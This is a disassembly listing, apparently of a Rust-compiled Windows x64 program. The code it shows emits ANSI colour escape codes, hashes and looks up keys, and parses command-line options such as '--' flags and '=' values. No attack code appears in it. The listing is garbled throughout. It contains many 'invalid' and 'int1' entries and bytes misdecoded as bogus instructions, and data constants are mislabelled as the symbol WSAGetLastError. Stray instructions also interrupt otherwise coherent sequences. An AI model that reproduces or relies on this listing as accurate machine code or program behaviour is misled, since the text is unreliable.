movabs rcx, 0x393b353b38345b1b
mov qword [rax + rdx], rcx
mov byte [rax + rdx + 8], WSAGetLastError
add rdx, 9
jmp 0x14002d800
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 9
jbe 0x14002dc69
mov rax, qword [rsi]
movabs rcx, 0x313b353b38345b1b
mov qword [rax + rdx], rcx
mov word [rax + rdx + 8], 0x6d34
add rdx, 0xa
jmp 0x14002d800
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 9
jbe 0x14002dc80
mov rax, qword [rsi]
movabs rcx, 0x313b353b38345b1b
mov qword [rax + rdx], rcx
mov word [rax + rdx + 8], 0x6d33
add rdx, 0xa
jmp 0x14002d800
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 9
jbe 0x14002dc97
mov rax, qword [rsi]
movabs rcx, 0x313b353b38345b1b
mov qword [rax + rdx], rcx
mov word [rax + rdx + 8], 0x6d31
add rdx, 0xa
jmp 0x14002d800
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 9
jbe 0x14002dcae
mov rax, qword [rsi]
movabs rcx, 0x313b353b38345b1b
mov qword [rax + rdx], rcx
mov word [rax + rdx + 8], 0x6d35
add rdx, 0xa
jmp 0x14002d800
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 4
jbe 0x14002dcc5
mov rax, qword [rsi]
mov byte [rax + rdx + 4], WSAGetLastError
mov dword [rax + rdx], 0x34345b1b
jmp 0x14002d7fc
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 4
jbe 0x14002dcdc
mov rax, qword [rsi]
mov byte [rax + rdx + 4], WSAGetLastError
mov dword [rax + rdx], 0x32345b1b
jmp 0x14002d7fc
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 4
jbe 0x14002dcf3
mov rax, qword [rsi]
mov byte [rax + rdx + 4], WSAGetLastError
mov dword [rax + rdx], 0x31345b1b
jmp 0x14002d7fc
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 4
jbe 0x14002dd0a
mov rax, qword [rsi]
mov byte [rax + rdx + 4], WSAGetLastError
mov dword [rax + rdx], 0x36345b1b
jmp 0x14002d7fc
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 4
jbe 0x14002dd21
mov rax, qword [rsi]
mov byte [rax + rdx + 4], WSAGetLastError
mov dword [rax + rdx], 0x35345b1b
jmp 0x14002d7fc
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 4
jbe 0x14002dd38
mov rax, qword [rsi]
mov byte [rax + rdx + 4], WSAGetLastError
mov dword [rax + rdx], 0x33345b1b
jmp 0x14002d7fc
mov rax, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, 4
jbe 0x14002dd4f
mov rax, qword [rsi]
mov byte [rax + rdx + 4], WSAGetLastError
mov dword [rax + rdx], 0x37345b1b
add rdx, 5
mov qword [rsi + 0x10], rdx
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
mov edi, 7
test r9b, r9b
je 0x14002da72
or r9b, 0x30
mov byte [rsp + rdi + 0x2c], r9b
or r8b, 0x30
lea rdx, [rsp + 0x2c]
mov byte [rdi + rdx + 1], r8b
mov byte [rsp + rdi + 0x2e], 0x3b
movzx r10d, cl
imul r8d, r10d, 0xcd
shr r8d, 0xb
lea r9d, [r8 + r8*4]
lea r9d, [r9 + r9*4]
add r9d, r8d
shr r9d, 7
and r9d, 6
lea r11d, [r9 + r9*4]
mov r9d, r8d
sub r9b, r11b
add r8d, r8d
lea r11d, [r8 + r8*4]
mov r8d, ecx
sub r8b, r11b
cmp cl, 0x63
jbe 0x14002d88c
lea ecx, [r10 + r10*4]
lea ecx, [r10 + rcx*8]
shr ecx, 0xc
or cl, 0x30
mov byte [rsp + rdi + 0x2f], cl
add rdi, 3
jmp 0x14002d895
add rdi, 2
test r9b, r9b
je 0x14002d8a1
or r9b, 0x30
mov byte [rsp + rdi + 0x2d], r9b
inc rdi
or r8b, 0x30
mov byte [rdi + rdx + 1], r8b
mov byte [rsp + rdi + 0x2e], 0x3b
movzx r9d, al
imul ecx, r9d, 0xcd
shr ecx, 0xb
lea r8d, [rcx + rcx*4]
lea r8d, [r8 + r8*4]
add r8d, ecx
shr r8d, 7
and r8d, 6
lea r10d, [r8 + r8*4]
mov r8d, ecx
sub r8b, r10b
add ecx, ecx
lea r10d, [rcx + rcx*4]
mov ecx, eax
sub cl, r10b
cmp al, 0x63
jbe 0x14002d900
lea eax, [r9 + r9*4]
lea eax, [r9 + rax*8]
shr eax, 0xc
or al, 0x30
mov byte [rsp + rdi + 0x2f], al
add rdi, 3
jmp 0x14002d90d
add rdi, 2
test r8b, r8b
je 0x14002da1f
or r8b, 0x30
mov byte [rsp + rdi + 0x2d], r8b
jmp 0x14002da1c
mov edi, 7
test r9b, r9b
je 0x14002da7c
or r9b, 0x30
mov byte [rsp + rdi + 0x2c], r9b
or r8b, 0x30
lea rdx, [rsp + 0x2c]
mov byte [rdi + rdx + 1], r8b
mov byte [rsp + rdi + 0x2e], 0x3b
movzx r9d, cl
imul r8d, r9d, 0xcd
shr r8d, 0xb
lea ecx, [r8 + r8*4]
lea ecx, [rcx + rcx*4]
add ecx, r8d
shr ecx, 7
and ecx, 6
lea r10d, [rcx + rcx*4]
mov ecx, r8d
sub cl, r10b
add r8d, r8d
lea r10d, [r8 + r8*4]
mov r8d, r9d
sub r8b, r10b
cmp r9b, 0x63
jbe 0x14002d99c
lea r10d, [r9 + r9*4]
lea r9d, [r9 + r10*8]
shr r9d, 0xc
or r9b, 0x30
mov byte [rsp + rdi + 0x2f], r9b
add rdi, 3
jmp 0x14002d9a4
add rdi, 2
test cl, cl
je 0x14002d9ae
or cl, 0x30
mov byte [rsp + rdi + 0x2d], cl
inc rdi
or r8b, 0x30
mov byte [rdi + rdx + 1], r8b
mov byte [rsp + rdi + 0x2e], 0x3b
movzx r8d, al
imul ecx, r8d, 0xcd
shr ecx, 0xb
lea eax, [rcx + rcx*4]
lea eax, [rax + rax*4]
add al, 0x80
add eax, ecx
shr eax, 7
and eax, 6
lea r9d, [rax + rax*4]
mov eax, ecx
sub al, r9b
enter 0xffffffffffffc901, 0x44
lea ecx, [rcx + rcx*4]
mov ecx, r8d
sub cl, r9b
cmp r8b, 0x63
jbe 0x14002da0e
lea r9d, [r8 + r8*4]
lea r8d, [r8 + r9*8]
shr r8d, 0xc
or r8b, 0x30
mov byte [rsp + rdi + 0x2f], r8b
add rdi, 3
jmp 0x14002da16
add rdi, 2
test al, al
je 0x14002da1f
or al, 0x30
mov byte [rsp + rdi + 0x2d], al
inc rdi
or cl, 0x30
mov byte [rdi + rdx + 1], cl
mov byte [rdi + rdx + 2], WSAGetLastError
add rdi, 3
mov rax, qword [rsi + 8]
mov rbx, qword [rsi + 0x10]
sub rax, rbx
cmp rax, rdi
jb 0x14002da5e
mov rcx, qword [rsi]
add rcx, rbx
lea rdx, [rsp + 0x2c]
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rbx, rdi
mov qword [rsi + 0x10], rbx
jmp 0x14002d804
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.14015cc80
mov rbx, qword [rsi + 0x10]
jmp 0x14002da3f
mov edi, 6
jmp 0x14002d823
mov edi, 6
jmp 0x14002d932
mov r8d, 9
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d070
mov r8d, 5
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d0af
mov r8d, 0xa
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d1f3
mov r8d, 0xa
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d222
mov r8d, 9
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
push rsi
adc cl, ch
pop rax
idiv edi
invalid
push rsi
adc cl, ch
pop rax
idiv edi
inc dword [rcx - 0x48]
or al, byte [rax]
add byte [rax], al
mov r8d, 0xa
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d280
mov r8d, 0xa
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d2af
mov r8d, 0xa
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
adc cl, ch
invalid
idiv edi
invalid
adc cl, ch
movabs al, byte [0xab841fffff7]
add byte [rax - 0x77], cl
int1
mov r8d, 0xa
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d30d
mov r8d, 5
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d33c
mov r8d, 5
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d36d
mov r8d, 5
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d39e
mov r8d, 5
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d3cf
mov r8d, 5
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d400
mov r8d, 5
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d431
mov r8d, 5
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d462
mov r8d, 9
mov rcx, rsi
int1
int1
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d538
mov r8d, 5
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d55f
mov r8d, 0xa
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d588
mov r8d, 0xa
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d5be
mov r8d, 9
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d5f4
stc
invalid
invalid
stc
invalid
mov r8d, 0xa
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d628
mov r8d, 0xa
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d65e
mov r8d, 0xa
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d694
invalid
invalid
invalid
mov r8d, 0xa
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d6ca
mov r8d, 5
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d700
mov r8d, 5
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d729
mov r8d, 5
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d752
mov r8d, 5
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d77b
mov r8d, 5
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d7a1
mov r8d, 5
mov rcx, rsi
add eax, 0x48000000
mov ecx, esi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d7c7
mov r8d, 5
mov rcx, rsi
call fcn.14015cc80
mov rdx, qword [rsi + 0x10]
jmp 0x14002d7ed
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea r8, [0x140169f90]
mov edx, 0x28
call fcn.140160fb0
ud2
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
lea r8, [0x140169f78]
mov edx, 0x28
call fcn.140160fb0
ud2
mov rax, qword [rsp + 0x560]
cmp rax, qword [rbx + 0x10]
jae 0x140033032
mov qword [rsp + 0x90], r14
mov qword [rsp + 0x70], rdi
mov r13, rbx
mov rcx, qword [rbx]
mov rdx, rax
shl rdx, 5
mov rsi, qword [rcx + rdx]
mov rdi, qword [rcx + rdx + 0x10]
inc rax
mov qword [rsp + 0x560], rax
lea r15, [rsp + 0xd0]
mov rcx, r15
mov rdx, rsi
mov r8, rdi
call fcn.14005a400
mov r12, qword [rsp + 0xd0]
mov rbx, qword [rsp + 0xd8]
mov r14, qword [rsp + 0xe0]
mov rcx, r15
mov rdx, rsi
mov r8, rdi
call fcn.14009faa0
mov r11, r14
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0xc8], rax
mov eax, 0
mov qword [rsp + 0x230], r12
test r12, r12
mov qword [rsp + 0x228], rbx
cmove rax, rbx
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x40], r14
je 0x14002f310
test byte [rsp + 0xa8], 1
jne 0x14002f2f0
mov rsi, qword [rsp + 0x48]
mov r12, qword [rsi + 0x10]
test byte [r12 + 0x255], 1
mov r14, qword [rsp + 0x90]
mov rbx, r13
jne 0x14002f20e
mov rax, qword [r12 + 0x258]
movabs rcx, 0x10000000000
and rax, rcx
jne 0x14002f20e
cmp qword [rsp + 0x78], 0
jne 0x14002f281
mov rax, qword [rsp + 0x80]
test rax, rax
cmove rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0x230]
test rdx, rdx
cmove rax, qword [rsp + 0x228]
mov rcx, qword [rsp + 0xc8]
cmove rcx, r11
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe0], rcx
mov qword [rsp + 0xd0], rdx
cmp byte [rsp + 0x68], 0
setne r8b
mov rcx, rsi
lea rdx, [rsp + 0xd0]
call fcn.140037530
mov r11, qword [rsp + 0x40]
test rax, rax
jne 0x140034ac3
cmp qword [rsp + 0xc8], 2
jne 0x14002f59f
mov rax, qword [rsp + 0x80]
test rax, rax
cmove rax, qword [rsp + 0xb0]
movzx eax, word [rax]
cmp eax, 0x2d2d
mov rdi, qword [rsp + 0x70]
je 0x14002f701
cmp qword [rsp + 0x230], 0
je 0x14002f5f5
mov rax, qword [rsp + 0x80]
test rax, rax
mov rdx, rax
cmove rdx, qword [rsp + 0xb0]
jmp 0x14002f5d1
mov rsi, qword [rsp + 0x48]
mov r14, qword [rsp + 0x90]
mov rbx, r13
jmp 0x14002f66d
mov rax, qword [rsp + 0x48]
mov rdi, qword [rax + 0x10]
cmp qword [rdi + 0x100], 0
je 0x14002f1c2
movdqu xmm0, xmmword [rdi + 0x108]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmm6
movdqa xmmword [rsp + 0xd0], xmm1
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmm7
movdqa xmmword [rsp + 0xe0], xmm1
movdqa xmmword [rsp + 0xf0], xmm0
lea rax, [rsp + 0x100]
movaps xmmword [rax], xmm8
mov qword [rax + 0x10], 0
lea rsi, [rsp + 0xd0]
mov rcx, rsi
mov rdx, qword [rsp + 0xc0]
mov r8, r11
call fcn.140006000
mov byte [rsp + 0x180], 0xff
mov r8d, 1
mov rcx, rsi
lea rdx, [rsp + 0x180]
call fcn.140006000
mov r11, qword [rsp + 0x40]
mov rax, qword [rsp + 0xe0]
mov r9, qword [rsp + 0x100]
shl r9, 0x38
or r9, qword [rsp + 0x108]
mov rcx, qword [rsp + 0xe8]
mov r8, qword [rsp + 0xd0]
add r8, rax
rol rax, 0xd
xor rcx, r9
xor rax, r8
rol r8, 0x20
mov rdx, qword [rsp + 0xd8]
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rcx, r8
xor rax, rdx
rol rdx, 0x20
xor r8, r9
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
xor rax, r8
rol r8, 0x20
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
add r8, rcx
rol rcx, 0x15
add rdx, rax
rol rax, 0x11
xor rax, rdx
rol rdx, 0x20
xor rcx, r8
add r8, rax
rol rax, 0xd
add rdx, rcx
rol rcx, 0x10
xor rcx, rdx
rol rcx, 0x15
xor rax, r8
add rdx, rax
rol rax, 0x11
mov rsi, rdx
rol rsi, 0x20
xor rsi, rax
xor rsi, rcx
xor rsi, rdx
mov r15, qword [rdi + 0xe8]
mov rdi, qword [rdi + 0xf0]
mov rax, rsi
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm10, xmm0, 0
xor r14d, r14d
and rsi, rdi
movdqu xmm11, xmmword [r15 + rsi]
movdqa xmm0, xmm10
pcmpeqb xmm0, xmm11
pmovmskb r12d, xmm0
test r12d, r12d
jne 0x14002f530
pcmpeqb xmm11, xmm9
pmovmskb eax, xmm11
test eax, eax
mov r13, qword [rsp + 0x88]
jne 0x14002f1c2
add rsi, r14
add rsi, 0x10
add r14, 0x10
jmp 0x14002f4d9
lea eax, [r12 - 1]
and eax, r12d
mov r12d, eax
test ax, ax
je 0x14002f4f6
tzcnt eax, r12d
add rax, rsi
and rax, rdi
shl rax, 5
mov rbx, r15
sub rbx, rax
cmp qword [rbx - 0x18], r11
jne 0x14002f520
mov rdx, qword [rbx - 0x20]
mov rcx, qword [rsp + 0xc0]
mov r8, r11
call sub.VCRUNTIME140.dll_memcmp
mov r11, qword [rsp + 0x40]
test eax, eax
jne 0x14002f520
mov r8, qword [rbx - 0x10]
mov r9, qword [rbx - 8]
mov rdx, qword [rsp + 0x560]
mov rbx, qword [rsp + 0x88]
mov rcx, rbx
call fcn.140058270
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x70]
mov r14, qword [rsp + 0x90]
jmp 0x14002fe42
cmp qword [rsp + 0x230], 0
mov rdi, qword [rsp + 0x70]
je 0x14002f5f5
mov rax, qword [rsp + 0x80]
test rax, rax
mov rdx, rax
cmove rdx, qword [rsp + 0xb0]
cmp qword [rsp + 0xc8], 2
jb 0x14002f618
movzx eax, word [rdx]
cmp eax, 0x2d2d
je 0x14002f84b
mov rdi, qword [rsp + 0x80]
test rdi, rdi
cmove rdi, qword [rsp + 0xb0]
jmp 0x14002f63b
cmp r11, 2
jb 0x14002f618
mov rax, qword [rsp + 0xc0]
movzx eax, word [rax]
rol ax, 8
movzx eax, ax
cmp eax, 0x2d2d
je 0x14002ff8a
mov rdi, qword [rsp + 0x80]
test rdi, rdi
cmove rdi, qword [rsp + 0xb0]
cmp qword [rsp + 0xc8], 0
je 0x14002f77a
cmp byte [rdi], 0x2d
mov rax, qword [rsp + 0x78]
jne 0x14002f65e
mov r8, qword [rsp + 0xc8]
dec r8
je 0x14002f65e
inc rdi
cmp byte [rdi], 0x2d
jne 0x14002fed5
mov rdi, qword [rsp + 0x70]
cmp rax, 1
je 0x140031b39
lea r15, [r14 + 1]
cmp r15, rbp
jne 0x14002f940
mov rax, qword [rsi + 0x10]
mov rcx, qword [rax + 0xb0]
test rcx, rcx
je 0x14002f940
mov rax, qword [rax + 0xa0]
mov rdx, rcx
shl rdx, 7
lea rdx, [rdx + rdx*4]
xor r8d, r8d
jmp 0x14002f6c9
cmp r9, rbp
jne 0x14002f793
add r8, 0x280
cmp rdx, r8
je 0x14002f940
cmp qword [rax + r8 + 0x230], 0
jne 0x14002f6b9
cmp dword [rax + r8 + 0x270], 0x110000
jne 0x14002f6b9
test dword [rax + r8 + 0x278], 0x100002
je 0x14002f6b9
mov r9, qword [rax + r8 + 0x40]
test r9, r9
je 0x14002f6b0
mov r9, qword [rax + r8 + 0x48]
jmp 0x14002f6b0
mov rax, qword [rsp + 0x78]
cmp rax, 1
je 0x14002f8b4
cmp rax, 2
jne 0x14002f91a
mov rcx, qword [r12 + 0xb0]
mov rax, qword [r12 + 0xa0]
mov rdx, 0xfffffffffffffd80
add rax, rdx
shl rcx, 7
lea rcx, [rcx + rcx*4]
nop dword [rax]
test rcx, rcx
je 0x1400357b9
lea rdx, [rax + 0x280]
add rcx, 0xfffffffffffffd80
cmp qword [rax + 0x488], rdi
mov rax, rdx
jne 0x14002f740
test byte [rdx + 0x279], 0x10
jne case.0x140031b28.5
mov eax, 2
jmp 0x14002f915
mov rdi, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
cmp rax, 1
jne 0x14002f66d
jmp 0x140031b39
mov r8d, 0
mov edx, 0
cmp rcx, 1
je 0x14002f818
mov r9, rcx
and r9, 0xfffffffffffffffe
lea r10, [rax + 0x280]
xor edx, edx
xor r8d, r8d
nop word [rax + rax]
lea r11, [r10 - 0x280]
cmp dword [r10 - 0x10], 0x110000
cmovne r11, rdx
cmp qword [r10 - 0x50], 0
cmovne r11, rdx
cmp dword [r10 + 0x270], 0x110000
mov rdx, r11
cmove rdx, r10
cmp qword [r10 + 0x230], 0
cmovne rdx, r11
add r8, 2
add r10, 0x500
cmp r9, r8
jne 0x14002f7c0
test cl, 1
mov r11, qword [rsp + 0x40]
je 0x14002f928
lea rcx, [r8 + r8*4]
shl rcx, 7
cmp qword [rax + rcx + 0x230], 0
jne 0x14002f928
cmp dword [rax + rcx + 0x270], 0x110000
jne 0x14002f928
add rax, rcx
mov rdx, rax
jmp 0x14002f92d
mov r13, qword [rsp + 0xc8]
add r13, 0xfffffffffffffffe
je 0x14002f5df
add rdx, 2
mov rcx, qword [rsp + 0xc8]
lea rax, [rcx - 3]
lea r10, [rcx - 2]
xor r9d, r9d
jmp 0x14002f88d
lea r9, [rcx + 1]
test r8, r8
jne 0x140030181
cmp rax, r9
je 0x140030178
mov rcx, r9
cmp r9, r13
ja 0x140035841
xor r8d, r8d
cmp r10, rcx
je 0x14002f880
cmp byte [rdx + rcx], 0x3d
sete r8b
jmp 0x14002f880
mov rcx, qword [r12 + 0xb0]
mov rax, qword [r12 + 0xa0]
mov rdx, 0xfffffffffffffd80
add rax, rdx
shl rcx, 7
lea rcx, [rcx + rcx*4]
nop word cs:[rax + rax]
test rcx, rcx
je 0x1400357b9
lea rdx, [rax + 0x280]
add rcx, 0xfffffffffffffd80
cmp qword [rax + 0x488], rdi
mov rax, rdx
jne 0x14002f8e0
test byte [rdx + 0x279], 0x10
jne case.0x140031b28.5
mov eax, 1
mov qword [rsp + 0x78], rax
mov al, 1
mov dword [rsp + 0xa8], eax
jmp 0x14002fe42
test rdx, rdx
je 0x14002f940
test byte [rdx + 0x279], 0x40
sete al
jmp 0x14002f942
xor eax, eax
cmp r15, rbp
sete r8b
test byte [rsp + 0xa8], 1
sete dl
mov rdi, qword [rsi + 0x10]
mov rcx, qword [rdi + 0x258]
or rcx, qword [rdi + 0x250]
test ecx, ecx
sets r9b
test al, al
jne 0x14002f9a0
and dl, r8b
and dl, r9b
jne 0x14002f9a0
test byte [rsp + 0xa8], 1
je 0x14002fc1f
and ecx, 0x80000000
or rcx, qword [rsp + 0x2e8]
add byte [rdi + rcx + 0x45], cl
cmc
jmp 0x14002fc1f
mov rax, qword [rsp + 0x560]
cmp rax, qword [rbx + 0x10]
jae 0x14002fc1c
sub dword [rdx + 2], 0
invalid
mov qword [rsp + 0x58], r15
mov rcx, qword [rbx]
shl rax, 5
mov rbx, qword [rcx + rax]
mov r14, qword [rcx + rax + 0x10]
lea rsi, [rsp + 0xd0]
mov rcx, rsi
mov rdx, rbx
mov r8, r14
call fcn.14005a400
mov r12, qword [rsp + 0xd0]
mov r15, qword [rsp + 0xd8]
mov r13, qword [rsp + 0xe0]
mov rcx, rsi
mov rdx, rbx
mov r8, r14
mov eax, esi
call fcn.14009faa0
mov r11, r13
mov rbx, qword [rsp + 0xd0]
mov r14, qword [rsp + 0xd8]
mov rsi, qword [rsp + 0xe0]
mov qword [rsp + 0xb8], r12
test r12, r12
mov eax, 0
mov qword [rsp + 0x50], r15
jl 0x14002fa56
push rax
cmove rax, r15
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], r13
mov qword [rsp + 0xe0], rbx
mov qword [rsp + 0xe8], r14
mov qword [rsp + 0xf0], rsi
mov rcx, qword [rdi + 0xb0]
mov r13b, 1
test rcx, rcx
je 0x14002fbda
mov rax, qword [rdi + 0xa0]
shl rcx, 7
lea rcx, [rcx + rcx*4]
mov rdx, rcx
mov r8, rax
jmp 0x14002faa4
add r8, 0x280
add rdx, 0xfffffffffffffd80
je 0x14002fbda
cmp qword [r8 + 0x230], 0
jne 0x14002fa90
cmp dword [r8 + 0x270], 0x110000
adc dword [rax], eax
jne 0x14002fa90
cmp qword [r8 + 0x40], 0
je 0x14002fa90
mov r9, qword [rsp + 0x90]
cmp qword [r8 + 0x48], r9
jne 0x14002fa90
mov rdx, qword [rdi + 0x250]
mov edx, dword [rdi + 0x250]
mov r9, qword [rdi + 0x258]
mov r10d, edx
or r10d, r9d
test r10d, 0x10000
jne 0x14002fb81
mov r8, qword [r8 + 0x208]
add rax, 0xfffffffffffffd80
nop
test rcx, rcx
je 0x140035861
lea r10, [rax + 0x280]
add rcx, 0xfffffffffffffd80
cmp qword [rax + 0x488], r8
mov rax, r10
jne 0x14002fb00
test byte [r10 + 0x279], 0x10
jne 0x14002fb81
or edx, r9d
test edx, 0x2000000
mov qword [rsp + 0x98], r11
je 0x14002fb59
lea rcx, [rsp + 0xd0]
call fcn.140058970
mov r11, qword [rsp + 0x98]
invalid
test al, al
jne 0x14002fb81
add byte [rax + rax*8 - 0x72b3d78b], al
mov esp, 0xd024
add byte [rcx + rcx*4 - 7], cl
lea r15, [rsp + 0xd0]
mov rcx, r15
call fcn.1400589c0
test al, al
jne 0x14002fbda
mov rcx, r15
call fcn.140058a10
test al, al
mov r11, qword [rsp + 0x98]
jne 0x14002fbda
test rbx, rbx
mov rax, rbx
cmove rax, r14
mov rcx, qword [rsp + 0xb8]
test rcx, rcx
cmove rax, qword [rsp + 0x50]
cmove rsi, r11
mov qword [rsp + 0x188], rax
mov qword [rsp + 0x190], rsi
mov qword [rsp + 0x180], rcx
cmp byte [rsp + 0x68], 0
setne r8b
mov rcx, qword [rsp + 0x48]
and al, 0x48
and al, 0x48
lea rdx, [rsp + 0x180]
call fcn.140037530
test rax, rax
setne r13b
test rbx, rbx
je 0x14002fbf6
test r14, r14
je 0x14002fbf6
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r13b, r13b
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x88]
mov r11, qword [rsp + 0x40]
mov r14, qword [rsp + 0x90]
je 0x14002fc1f
mov r14, qword [rsp + 0x58]
jmp 0x14002fc1f
mov r14, r15
mov rax, qword [rdi + 0xb8]
mov rcx, qword [rdi + 0xc8]
add byte [rax], al
add byte [rax], al
add rax, 0xffffffffffffffd8
shl rcx, 3
lea rcx, [rcx + rcx*4]
nop dword [rax]
test rcx, rcx
je 0x14003221a
invalid
invalid
add byte [rax], al
shl dword [0xc94afc4b], 1
ret 0x8348
mov rdx, rax
add rax, 0x28
add rcx, 0xffffffffffffffd8
cmp byte [rdx + 0x48], 4
jne 0x14002fc40
cmp qword [rdx + 0x30], r14
jne 0x14002fc40
mov rcx, qword [rax]
mov rdx, qword [rdi + 0xb0]
cmp rcx, rdx
jae 0x140035523
mov rsi, qword [rdi + 0xa0]
lea rbx, [rcx + rcx*4]
shl rbx, 7
mov eax, dword [rsi + rbx + 0x278]
test byte [rsp + 0xa8], 1
jne 0x14002fca1
mov ecx, eax
and ecx, 0x4000
jne 0x14003468c
mov ecx, dword [rdi + 0x250]
or ecx, dword [rdi + 0x258]
mov r9, qword [rsp + 0x60]
mov r15, r14
cmp r14, rbp
movzx edx, byte [rsp + 0xa8]
mov r8d, edx
mov r10d, 1
add byte [rbp + 0xf], al
ret 0xc1f7
add byte [rax], dl
add byte [rax], al
cmove r8d, edx
mov dword [rsp + 0xa8], r8d
mov r12, r9
cmp byte [r9 + 0x70], 4
lea r14, [rsi + rbx + 0x208]
jne 0x14002fd47
add byte [rbp + 0xf], al
ret 0xc1f7
lea rcx, [rsp + 0xd0]
mov rdx, qword [rsp + 0x48]
mov rdi, r12
mov edi, esp
mov edi, esp
mov r8, r12
call fcn.140038e70
movzx eax, byte [rsp + 0xf0]
cmp al, 0x16
jne 0x14003491e
cmp byte [rdi + 0x70], 4
jne 0x14002fd58
mov rax, qword [r14]
mov rcx, qword [rsp + 0x2c8]
movups xmmword [rcx], xmm8
movups xmmword [rcx], xmm0
movups xmmword [rcx], xmm0
mov rcx, r12
mov qword [r12 + 0x50], 8
mov qword [r12 + 0x68], rax
mov byte [r12 + 0x70], 2
jmp 0x14002fd58
test eax, 0x100000
je 0x14002fcf1
mov rax, qword [r14]
cmp qword [r12 + 0x68], rax
jne 0x14002fcf1
add rsi, rbx
mov r9, qword [rsp + 0x80]
test r9, r9
cmove r9, qword [rsp + 0xb0]
mov eax, dword [rsp + 0xa8]
and al, 1
